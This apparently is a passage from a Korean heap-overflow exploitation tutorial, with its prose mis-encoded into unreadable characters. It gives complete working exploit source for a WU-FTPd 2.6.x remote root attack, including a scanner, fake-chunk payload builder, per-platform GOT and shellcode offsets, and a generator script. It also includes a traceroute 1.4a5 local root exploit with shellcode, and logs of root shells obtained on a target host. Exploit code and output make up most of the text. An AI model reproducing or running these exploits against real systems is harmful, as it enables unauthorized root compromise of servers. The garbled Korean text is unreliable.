0x90909090 0xbffff794: 0x90909090 0x895e1feb 0xc0310876 0x89074688 0xbffff7a4: 0x0bb00c46 0x4e8df389 0x0c568d08 0xdb3180cd (gdb) ---------------------------------------------------------------------------- .dtors¸¦ 0x41414141·Î º¯°æÇϴµ¥ ¼º°øÇÏ¿´½À´Ï´Ù. ¿ì¸®°¡ ÀÔ·ÂÇß´ø shellcode ¾È¿¡ 12byte jumpcode¸¦ ã¾Ò½À´Ï´Ù. 0xbffff758 ÁÖ¼Ò¿¡ ÀÖ´Â °ÍÀ» º¼ ¼ö ÀÖ½À´Ï´Ù. ÀÌÁ¦ ÀÌ°ÍÀ» exploit¿¡ ³Ö¾î test Çغ¸°Ú½À´Ï´Ù. ---------------------------------------------------------------------------- [x82@xpl017elz chunk]$ gcc -o bofxpl bofxpl.c [x82@xpl017elz chunk]$ ./bofxpl > test [x82@xpl017elz chunk]$ gdb -q bak (gdb) r < test Starting program: ./bak < test crypt() a pass Key: Pass: crypted pass: ˜—fXqOlJuC86Q Program received signal SIGTRAP, Trace/breakpoint trap. 0x40001780 in _start () at rtld.c:142 142 rtld.c: ±×·± ÆÄÀÏÀ̳ª µð·ºÅ丮°¡ ¾øÀ½. (gdb) c Continuing. Program exited normally. (gdb) q [x82@xpl017elz chunk]$ ---------------------------------------------------------------------------- Ok, ¿©·¯ºÐ! ¿ì¸®ÀÇ code¸¦ ½ÇÇàÇÑ Áغñ°¡ µÇ¾ú³ª¿ä?? (*Happy exploit!) ---------------------------------------------------------------------------- [x82@xpl017elz chunk]$ (./bofxpl; cat) | ./bof crypt() a pass Key: Pass: crypted pass: ˜—fXqOlJuC86Q whoami root id uid=500(x82) gid=500(x82) euid=0(root) egid=0(root) groups=500(x82) exit [x82@xpl017elz chunk]$ ---------------------------------------------------------------------------- w0w~ Áñ°Ì±º¿ä. setreuid(), setuid() code¸¦ ³Ö¾î »ç¿ëÇϸé, Real uid, gid ±ÇÇÑÀ» ÃëµæÇÒ ¼ö ÀÖ°Ú½À´Ï´Ù. :-) 0x02. Real exploit. 1) WU-FTPd 2.6.1 exploit. WU-FTPd´Â ¸Å¿ì ÈǸ¢ÇÑ FTP ¼­ºñ½º µ¥¸óÀÔ´Ï´Ù. °¢ ¹öÀü¸¶´Ù ´Ù¸¥ Ãë¾àÁ¡ÀÌ Á¸ÀçÇÏÁö¿ä. ±×¸¸Å­ WU-FTPd¸¦ ¸¹ÀÌ »ç¿ëÇÑ´Ù´Â ¸»µµ µË´Ï´Ù. ¿ì¸®³ª¶ó¿¡¼­´Â ¾î¶²Áö ¸ð¸£Áö¸¸ ... ¾î·µç Áö³­ÇØ ¹ßÇ¥µÈ ÈÄ, À̹ø ¿¬ÃÊ¿¡ Á¦°¡ ÀÛ¼ºÇß´ø WU-FTPd exploitÀ» ½Ç¾îº¼±î ÇÕ´Ï´Ù. codeÀÇ °ªÀ» ±¸ÇÏ°í ´ëÀÔÇϱâ À§Çؼ­´Â ¾à°£ÀÇ debugging°ú ³ë°¡´Ù°¡ ÇÊ¿äÇÕ´Ï´Ù. Áñ°Å¿î exploit ½Ã°£µÇ½Ã±æ ¹Ù¶ø´Ï´Ù. URL - http://wizard.underattack.co.kr/~x82/h0me/c0de/WOOoou~Happy-2.6.1.xplsrc/ --- Makefile --- # # It's the Makefile - WOOoou Xploit - Setup. # happy: happy-xpl.c bugfinder.c os-plat.h @$(ECHO) $(CC) -o happy-xpl happy-xpl.c @$(ECHO) $(CC) -o bugfinder bugfinder.c clean: @$(ECHO) rm -f happy-xpl bugfinder # # How to Make: bash$ make happy # --- bugfinder.c --- /* ** ** - Auto BugFinder - exploit. ** ** exploit by "you dong-hun"(Xpl017Elz), . ** My World: http://x82.i21c.net ** */ #include #include #include #include #include #include #include #include #include "os-plat.h" main(int argc, char *argv[]) { int sockfd, num, num_, type = 0; char host[0x82], user[0x82], pass[0x82], read_buf[1024], strcode[1024], execute[1024], version_buf[1024]; struct hostent *he; struct sockaddr_in x82_addr; unsigned long gotrs = 0, shell = 0, chunkr = 0; if(argc < 2) { printf("\n Usage: %s [hostname] [platform num] [got] [shellcode] [fakechunk]\n", argv[0]); system("cat ./platform.txt"); exit(0); } if(argc > 2) { if(atoi(argv[2]) > 11) { printf("\n Error, Platform Type Number: (0~ 11)\n\n"); exit(0); } type = atoi(argv[2]); } if(argc > 3) { gotrs = strtoul(argv[3], NULL, 0); } if(argc > 4) { shell = strtoul(argv[4], NULL, 0); } if(argc > 5) { chunkr = strtoul(argv[5], NULL, 0); } printf("\n [+] Finding Wu-FTPd Version Bug -\n\n"); { strncpy(host, argv[1], 82); snprintf(user, 82, "USER anonymous\n"); // anonymous login È®ÀÎ snprintf(pass, 82, "PASS xploit@xploit.x82\n"); // pass ÀÔ·Â } if ((he=gethostbyname(host)) == NULL) { herror("getbyhostname error"); exit(1); } if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket error"); exit(1); } x82_addr.sin_family = AF_INET; x82_addr.sin_port = htons(21); x82_addr.sin_addr = *((struct in_addr *)he->h_addr); bzero(&(x82_addr.sin_zero), 8); if(connect(sockfd, (struct sockaddr *)&x82_addr, sizeof(struct sockaddr)) == -1) { perror("connect error"); exit(1); } memset(read_buf, 0, 1024); recv(sockfd, read_buf, 1024, 0); strncpy(version_buf, read_buf, 1024); { send(sockfd, user, strlen(user), 0); memset(read_buf, 0, 1024); recv(sockfd, read_buf, 1024, 0); } { send(sockfd, pass, strlen(pass), 0); memset(read_buf, 0, 1024); recv(sockfd, read_buf, 1024, 0); if(strstr(read_buf, "530") !=0) { // login ¿¡·¯ printf(" * Ooops, Ftpd login Error (Check! ID & Passwd)\n\n"); close(sockfd); exit(0); }} { memset(read_buf, 0, 1024); memset(strcode, 0 ,1024); } sprintf(strcode,"list ~{\n"); { send(sockfd, strcode, strlen(strcode), 0); memset(read_buf, 0, 1024); recv(sockfd, read_buf, 1024, 0); close(sockfd); } if(strstr(read_buf, "550 Missing }") !=0) { // Ãë¾àÇÏÁö ¾ÊÀ½ printf(" * Not Vulnerable ! :-(\n\n"); exit(0); } if(gotrs > 0) { printf(" * OK, Finded Bug\n * Execute exploit.\n\n"); // Ãë¾à sprintf(execute, "(./happy-xpl -r %p -s %p -p %p; cat) | `which nc` %s 21", gotrs, shell, chunkr, argv[1]); // exploit ±¸µ¿ system(execute); exit(0); } // platform type ¼±º°¹æ½Ä gotrs = plat[type].gotr; shell = plat[type].shaddr; chunkr = plat[type].pointr; printf(" * OK, Finded Bug\n * Execute exploit, Type Method.\n\n"); sprintf(execute, "(./happy-xpl -t %d; cat) | `which nc` %s 21", plat[type].num, argv[1]); // exploit ±¸µ¿ system(execute); exit(0); } --- happy-xpl.c --- /* ** ** ==================================================================== ** ** WOOoou-FTPd Remote root exploit for x86 RedHat Linux ** ==================================================================== ** ** ** ** USE IT AT YOUR OWN RISK! ** ** ** exploit by "you dong-hun"(Xpl017Elz), . ** My World: http://x82.i21c.net ** */ #include #include #include "os-plat.h" #define POINT 0x8282bab0 /* ±âº» °¡Â¥ ûũ À§Ä¡ */ #define CODE 0x82828282 /* ±âº» shellcode À§Ä¡ */ #define GOTR 0x8282bab0 /* ±âº» GlobalOffsetTable À§Ä¡ */ #define USER "USER anonymous" /* ±âº» Username */ #define PASS "PASS none@xploit.x82x82x82x82" /* ±âº» Password */ unsigned char shellcode[] = /********* NOP "incl %eax" **********/ "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@" /********** chroot-break/execve shellcode by zen-parse **********/ "\x55\x89\xe5\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80\xb0\x2e\xcd" "\x80\xeb\x43\x5e\xb0\x27\x8d\x5e\x09\xb1\xed\xcd\x80\x31\xc9\x31" "\xc0\xb0\x3d\xcd\x80\xba\x2e\x2e\x2f\xff\x8d\x5d\x04\xb1\x10\x89" "\x55\x04\x83\xc5\x03\xe0\xf8\x89\x4d\x04\xb0\x3d\xcd\x80\x89\xf3" "\x89\x75\x08\x89\x4d\x0c\xb0\x0b\x8d\x4d\x08\x8d\x55\x0c\xcd\x80" "\x31\xc0\xb0\x01\xcd\x80\xe8\xb8\xff\xff\xff\x2f\x2f\x2f\x2f" "/bin/su"; /* realroot :-) */ main(int argc, char *argv[]) { char username[0x82] = USER, password[0x82] = PASS, command[0x82]; char *x0x; unsigned long gotr = GOTR - 12; int chanx, num_0 = 0, num_1 = 0, type = 0; char strcode[1024], atexec[1024 * 5], maincode[1024 * 4]; extern char *optarg; unsigned long shelladdr = CODE; unsigned long pointr = POINT; bzero(&atexec, 1024 * 5); bzero(&strcode, 1024); bzero(&maincode,1024 * 4); /********************** setting ***********************/ // type ¼³Á¤ shelladdr = plat[type].shaddr; gotr = plat[type].gotr - 12; pointr = plat[type].pointr; while((chanx = getopt(argc ,argv, "t:s:r:p:")) != EOF) { switch(chanx) { case 't': type = atoi(optarg); if(type > 11) { printf("\n Error, Platform Type Number: (0~ 11)\n\n"); exit(0); }{ // Àμö¿¡ ÀÇÇÑ type ¼³Á¤ shelladdr = plat[type].shaddr; gotr = plat[type].gotr - 12; pointr = plat[type].pointr; } break; case 's': shelladdr = strtoul(optarg, NULL, 0); break; case 'r': gotr = strtoul(optarg, NULL, 0) - 12; break; case 'p': pointr = strtoul(optarg, NULL, 0); break; case '?': usages(argv[0]); break; }} /****************** Make Fake Chunks ******************/ // °¡Â¥ ûũ Á¦ÀÛ for(num_0 = 0; num_0 < 160; num_0 += 32) { strcode[num_0 + 0] = (0xfffffff0 & 0x000000ff) >> 0; strcode[num_0 + 1] = (0xffffffff & 0x0000ff00) >> 8; strcode[num_0 + 2] = (0xffffffff & 0x00ff0000) >>16; strcode[num_0 + 3] = (0xffffffff & 0xff000000) >>24; strcode[num_0 + 4] = (0xfffffffc & 0x000000ff) >> 0; strcode[num_0 + 5] = (0xffffffff & 0x0000ff00) >> 8; strcode[num_0 + 6] = (0xffffffff & 0x00ff0000) >>16; strcode[num_0 + 7] = (0xffffffff & 0xff000000) >>24; strcode[num_0 + 8] = (gotr & 0x000000ff) >> 0; strcode[num_0 + 9] = (gotr & 0x0000ff00) >> 8; strcode[num_0 +10] = (gotr & 0x00ff0000) >>16; strcode[num_0 +11] = (gotr & 0xff000000) >>24; strcode[num_0 +12] = (shelladdr & 0x000000ff) >> 0; strcode[num_0 +13] = (shelladdr & 0x0000ff00) >> 8; strcode[num_0 +14] = (shelladdr & 0x00ff0000) >>16; strcode[num_0 +15] = (shelladdr & 0xff000000) >>24; strcode[num_0 +16] = (0xfffffff0 & 0x000000ff) >> 0; strcode[num_0 +17] = (0xffffffff & 0x0000ff00) >> 8; strcode[num_0 +18] = (0xffffffff & 0x00ff0000) >>16; strcode[num_0 +19] = (0xffffffff & 0xff000000) >>24; strcode[num_0 +20] = (0xfffffffc & 0x000000ff) >> 0; strcode[num_0 +21] = (0xffffffff & 0x0000ff00) >> 8; strcode[num_0 +22] = (0xffffffff & 0x00ff0000) >>16; strcode[num_0 +23] = (0xffffffff & 0xff000000) >>24; strcode[num_0 +24] = (gotr & 0x000000ff) >> 0; strcode[num_0 +25] = (gotr & 0x0000ff00) >> 8; strcode[num_0 +26] = (gotr & 0x00ff0000) >>16; strcode[num_0 +27] = (gotr & 0xff000000) >>24; strcode[num_0 +28] = (shelladdr & 0x000000ff) >> 0; strcode[num_0 +29] = (shelladdr & 0x0000ff00) >> 8; strcode[num_0 +30] = (shelladdr & 0x00ff0000) >>16; strcode[num_0 +31] = (shelladdr & 0xff000000) >>24; } /**************** Chunk Point! *******************/ { // ûũ¸¦ °¡¸®Å´ password[0x0000001d] = (pointr & 0x000000ff) >> 0; password[0x0000001e] = (pointr & 0x0000ff00) >> 8; password[0x0000001f] = (pointr & 0x00ff0000) >>16; password[0x00000020] = (pointr & 0xff000000) >>24; } // sleep(10); /* µð¹ö±ë½Ã À¯¿ëÇÔ */ num_0 = 0x00000000; for(num_1 = 0; num_1 < 320 - strlen(shellcode); num_1 += 6) { maincode[num_0++] = '@'; maincode[num_0++] = 0xeb; // jump maincode[num_0++] = 0x0c; // 12 maincode[num_0++] = '@'; } for(num_1 = 0; num_1 < strlen(shellcode); num_1++) { maincode[num_0++] = shellcode[num_1]; } snprintf(atexec, 1024 * 4, "%s\n%s\n%s%s\n %s", // code°¡ µ¤ÀÏ À§Ä¡ ¹× code ÀÛ¼º username, password, plat[type].attype, strcode, maincode); printx(atexec); printf("\n\n\n\n\n"); snprintf(command, 0x82, "list ~{\nquit\n"); // °ø°Ý printx(command); } printx(ppp) char *ppp; { while(*ppp) { if(*ppp==(char)0xff) putchar(*ppp); // Å͹̳Π¹®ÀÚ ¹Ýº¹Ã³¸® Ãâ·Â putchar(*ppp); ppp++; } } usages(char *argument) { printf("\n Usages: %s -options arguments\n\n", argument); printf(" -t [Platform Number] - Platform Type Number\n"); printf(" -s [Shellcode Address] - Pushing shellcode address\n"); printf(" -r [Retloc Address] - Find retloc address\n"); printf(" -p [Chunk Pointer] - Fake Chunk address\n"); system("cat ./platform.txt"); printf(" Example:\n %s -s %p -r %p -p %p\n" , argument, CODE, GOTR, POINT); printf("\n Example2: %s -t 0\n\n", argument); exit(0); } --- os-plat.h --- /* ** ** - Platform SyStype Select - Header File ! ** ** find & make by "you dong-hun"(Xpl017Elz), . ** My World: http://x82.i21c.net ** */ struct os { int num; char *osfp; unsigned long pointr; unsigned long gotr; unsigned long shaddr; char *attype; }; struct os plat[] = { { /* 0x0806bae4 R_386_JUMP_SLOT syslog */ 0, "RedHat Linux 6.1 wu-ftpd-2.6.0.tar.gz", 0x08087680, 0x0806bae4, 0x0807d628, "site exec " }, { /* 0x0806e088 R_386_JUMP_SLOT syslog */ 1, "RedHat Linux 6.1 wu-ftpd-2.6.0-3.i386.rpm", 0x08090b8d, 0x0806e088, 0x0807fbd1, "stat ~xpl " }, { /* 0x0806e088 R_386_JUMP_SLOT syslog */ 2, "RedHat Linux 6.1 wu-ftpd-2.6.0-3bc.i386.rpm", 0x08090b18, 0x0806e088, 0x0807fbe9, "site exec " }, { /* 0x08070414 R_386_JUMP_SLOT syslog */ 3, "RedHat Linux 6.1 wu-ftpd-2.6.0-14.6x.i386.rpm", 0x080946b8, 0x08070414, 0x08083371, "site exec " }, { /* 0x0806bb04 R_386_JUMP_SLOT syslog */ 4, "RedHat Linux 6.2 wu-ftpd-2.6.0.tar.gz", 0x08087655, 0x0806bb04, 0x0807d631, "stat 0x82 " }, { /* 0x0806e088 R_386_JUMP_SLOT syslog */ 5, "RedHat Linux 6.2 wu-ftpd-2.6.0-3.i386.rpm", 0x08090b1d, 0x0806e088, 0x0807fbe9, "stat 0x82 " }, { /* 0x0806e088 R_386_JUMP_SLOT syslog */ 6, "RedHat Linux 6.2 wu-ftpd-2.6.0-3bc.i386.rpm", 0x08090b2d, 0x0806e088, 0x0807fbd1, "stat ~xpl " }, { /* 0x08070414 R_386_JUMP_SLOT syslog */ 7, "RedHat Linux 6.2 wu-ftpd-2.6.0-14.6x.i386.rpm", 0x080946b8, 0x08070414, 0x080833b1, "site exec " }, { /* 0x0806e088 R_386_JUMP_SLOT syslog */ 8, "RedHat Linux 7.0 wu-ftpd-2.6.0-3.i386.rpm", 0x08090b8d, 0x0806e088, 0x08089b40, "stat ~xpl " }, { /* 0x0806f170 R_386_JUMP_SLOT syslog */ 9, "RedHat Linux 7.0 wu-ftpd-2.6.1-3.6x.i386.rpm", 0x0808ce88, 0x0806f170, 0x08082cc2, "stat 0x82 " }, { /* 0x08070cb0 R_386_JUMP_SLOT syslog */ 10, "RedHat Linux 7.0 wu-ftpd-2.6.1-6.i386.rpm", /* 7.0 Default */ 0x0808e73d, 0x08070cb0, 0x08084622, "stat 0x82 " }, { /* 0x08073018 R_386_JUMP_SLOT syslog */ 11, "RedHat Linux 7.1 wu-ftpd-2.6.1-16.i386.rpm", 0x82828282, 0x08073018, 0x08085de0, "cwd ~/xpl " }, { /* 0x08071748 R_386_JUMP_SLOT syslog */ 12, "RedHat Linux 7.1 wu-ftpd-2.6.1-18.i386.rpm", 0x82828282, 0x08071748, 0x08085900, "cwd ~/xpl " }, { /* 0x08073018 R_386_JUMP_SLOT syslog */ 13, "RedHat Linux 7.2 wu-ftpd-2.6.1-16.i386.rpm", 0x82828282, 0x08073018, 0x08085de0, "cwd ~//// " }, { /* 0x08072af8 R_386_JUMP_SLOT syslog */ 14, "RedHat Linux 7.2 wu-ftpd-2.6.1-18.i386.rpm", 0x82828282, 0x08072af8, 0x08085900, "cwd hello " } /* Hate Kiddies */ }; --- platform.txt --- * Platform Type Number List - 0) RedHat Linux 6.1 wu-ftpd-2.6.0.tar.gz 1) RedHat Linux 6.1 wu-ftpd-2.6.0-3.i386.rpm 2) RedHat Linux 6.1 wu-ftpd-2.6.0-3bc.i386.rpm 3) RedHat Linux 6.1 wu-ftpd-2.6.0-14.6x.i386.rpm 4) RedHat Linux 6.2 wu-ftpd-2.6.0.tar.gz 5) RedHat Linux 6.2 wu-ftpd-2.6.0-3.i386.rpm 6) RedHat Linux 6.2 wu-ftpd-2.6.0-3bc.i386.rpm 7) RedHat Linux 6.2 wu-ftpd-2.6.0-14.6x.i386.rpm 8) RedHat Linux 7.0 wu-ftpd-2.6.0-3.i386.rpm 9) RedHat Linux 7.0 wu-ftpd-2.6.1-3.6x.i386.rpm 10) RedHat Linux 7.0 wu-ftpd-2.6.1-6.i386.rpm 11) RedHat Linux 7.1 wu-ftpd-2.6.1-16.i386.rpm 12) RedHat Linux 7.1 wu-ftpd-2.6.1-18.i386.rpm 13) RedHat Linux 7.2 wu-ftpd-2.6.1-16.i386.rpm 14) RedHat Linux 7.2 wu-ftpd-2.6.1-18.i386.rpm --- xploit-generator --- #!/bin/sh # # WOOoou-FTPd xploit-generator exploit. # # by Xpl017Elz in INetCop(c) # (printf "\n Welcome to WOOoou-FTPd AttACK HAPPY EXPLOIT PROJECT v02/04/05\n"); (printf "\n [0] ftp username (ex - anonymous): "); read name; # if [ "$name" != "anonymous" ]; then (printf " - Username != anonymous\n - mer0ng, :-p\n\n"); exit; fi (printf " [1] target hostname (domain & ip): "); read host; (printf " [2] Target Ftpd version & type -\n"); cat platform.txt (printf " - FTPd version type (ex - 0): "); read plfm; (printf " - OK, Platform Type Number: $plfm\n\n"); (printf " * Thanks ur infomation :-)\n"); ./bugfinder $host $plfm (printf "\n by Xpl017Elz\n\n"); # # Cool? Hmmmm ... :-x # G00dbye, Kiddies. # --- Success --- [x82@xpl017elz WOOoou~Happy-2.6.1.xpl]$ ./xploit-generator Welcome to WOOoou-FTPd AttACK HAPPY EXPLOIT PROJECT v02/04/05 [0] ftp username (ex - anonymous): anonymous [1] target hostname (domain & ip): 61.xx.177.xx [2] Target Ftpd version & type - * Platform Type Number List - 0) RedHat Linux 6.1 wu-ftpd-2.6.0.tar.gz 1) RedHat Linux 6.1 wu-ftpd-2.6.0-3.i386.rpm 2) RedHat Linux 6.1 wu-ftpd-2.6.0-3bc.i386.rpm 3) RedHat Linux 6.1 wu-ftpd-2.6.0-14.6x.i386.rpm 4) RedHat Linux 6.2 wu-ftpd-2.6.0.tar.gz 5) RedHat Linux 6.2 wu-ftpd-2.6.0-3.i386.rpm 6) RedHat Linux 6.2 wu-ftpd-2.6.0-3bc.i386.rpm 7) RedHat Linux 6.2 wu-ftpd-2.6.0-14.6x.i386.rpm 8) RedHat Linux 7.0 wu-ftpd-2.6.0-3.i386.rpm 9) RedHat Linux 7.0 wu-ftpd-2.6.1-3.6x.i386.rpm 10) RedHat Linux 7.0 wu-ftpd-2.6.1-6.i386.rpm 11) RedHat Linux 7.1 wu-ftpd-2.6.1-16.i386.rpm 12) RedHat Linux 7.1 wu-ftpd-2.6.1-18.i386.rpm 13) RedHat Linux 7.2 wu-ftpd-2.6.1-16.i386.rpm 14) RedHat Linux 7.2 wu-ftpd-2.6.1-18.i386.rpm - FTPd version type (ex - 0): 5 - OK, Platform Type Number: 5 * Thanks ur infomation :-) [+] Finding Wu-FTPd Version Bug - * OK, Finded Bug * Execute exploit, Type Method. 220 testsub2 FTP server (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000) ready . 331 Guest login ok, send your complete e-mail address as password. 230 Guest login ok, access restrictions apply. 200-ðüðüðüðüðüðüðüðüðüðüéû U?1À°?è¸/////bin/su ': command not understood.ðüðüðüðü') M 500 '': command not understood.@?@?@?]?U?àø?????M?@?@?@?@?@?@?@ 500 '': command not understood.À°=??./@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@U 500 '': command not understood. 500 '': command not understood. id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10 (wheel) pwd /home/ftp exit by Xpl017Elz [x82@xpl017elz WOOoou~Happy-2.6.1.xpl]$ --- P.S-2: Á¦°¡ ¾Ë°íÀÖ´Â WU-FTPd exploitÀº Team TESOÀÇ exploit°ú zen-parse, ±×¸®°í doveÀÇ exploit. ÀüºÎ ¼¼°¡ÁöÀÔ´Ï´Ù. °¢°¢ exploitÀÇ °ø°Ý method¸¦ »ìÆ캸¸é ±× ¹æ½ÄÀÌ Á¶±Ý¾¿ ´Ù¸¥ Àç¹ÌÀÖ´Â »ç½ÇÀ» ¾Ë ¼ö ÀÖÀ» °ÍÀÔ´Ï´Ù. 2) traceroute exploit. ¿ª½Ã, À¯¸íÇÑ Heap ±â¹Ý exploit ÀÔ´Ï´Ù. ¾Æ·¡ ÷ºÎÇÏ´Â °ÍÀº Á¦°¡ ¿¹Àü¿¡ ¿¬±¸ÇÒ ¶§ ÀÛ¼ºÇß´ø codeÀÔ´Ï´Ù. ¸Å¿ì ½±°Ô Â¥¿©Á® ÀÖÀ¸´Ï, °øºÎÇϴµ¥ Å« ¾î·Á¿òÀº ¾øÀ» °ÍÀÔ´Ï´Ù. :-) °ü·Ã report´Â synnergyÆÀÀÇ ¹®¼­¸¦ link Çϵµ·Ï ÇÏ°Ú½À´Ï´Ù. URL - http://synnergy.net/downloads/exploits/traceroute-exp.txt --- 0x82-Local.Trxpl.c --- /* ** ** traceroute 1.4a5 exploit ** ** exploit by "you dong-hun"(Xpl017Elz), . ** My World: http://x82.i21c.net ** ** Special Greets: sorbo(c00l c0de), dvorak(c00l advisory). ** */ #include #define TR "/usr/sbin/traceroute" #define Xpl017Elz "x82" char fakechunk[] = "\xfc\xfc\xff\xff" /* fpucking chunk */ "\xb8\xc7\x04\x08"; /* GOT free 0804c7c4-0xc */ /* objdump -R /usr/sbin/traceroute | grep free */ char jmpcode[] = /* jmp ! */ "\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a" "\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a" "\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a"; char shellcode[] = /* setreuid(0,0); and, execute /bin/sh */ "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { char x0x[1024], x82buf[0x82], x82x82[1024*2], tr[0x82] = TR; char *arguments[] = {"x82", "-g", "82.8.2", "-g", x82buf, x0x, NULL}; int num_0, num_1, num_2, code, nop; unsigned long addr = 0; bzero(&x0x, 1024); bzero(&x82buf, 0x82); for(code = 0; code < strlen(jmpcode); code++) { x0x[code] = jmpcode[code]; } for(nop = 0; nop < 0x20; nop++) { x0x[code++] = 0x90; } for(num_0 = 0; num_0 < strlen(shellcode); num_0++) { x0x[code++] = shellcode[num_0]; } strcpy(x82buf, "8.2.8.17 x82"); num_2 = strlen(x82buf); for(num_1 = 0; num_1 < strlen(fakechunk); num_1++) { x82buf[num_2++] = fakechunk[num_1]; } addr = 0xc0000000 - strlen(x0x); x82buf[num_2++] = (addr & 0x000000ff) >> 0; x82buf[num_2++] = (addr & 0x0000ff00) >> 8; x82buf[num_2++] = (addr & 0x00ff0000) >>16; x82buf[num_2++] = (addr & 0xff000000) >>24; printf("\n traceroute 1.4a5 exploit\n"); printf("\t\t\t\tby Xpl017Elz\n"); printf("\n___(Code.Dumped)___\n"); sprintf(x82x82, "echo \"%s\" | hexdump", x82buf); system(x82x82); sprintf(x82x82, "echo \"%s\" | hexdump", x0x); system(x82x82); printf("___(___E.N.D___)___\n\n"); execve(tr, arguments, NULL); } --- eof --- 0x03. Reference. - Phrack #57/9 "Once upon a free()" - truefinder "Heap Overflow - feee/malloc, double Free Corruption" - dvorak "LBL traceroute exploit" - CORE Security Technologies "Vulnerability Report For WU-FTPD Server" P.S-3: free ur mind! :-D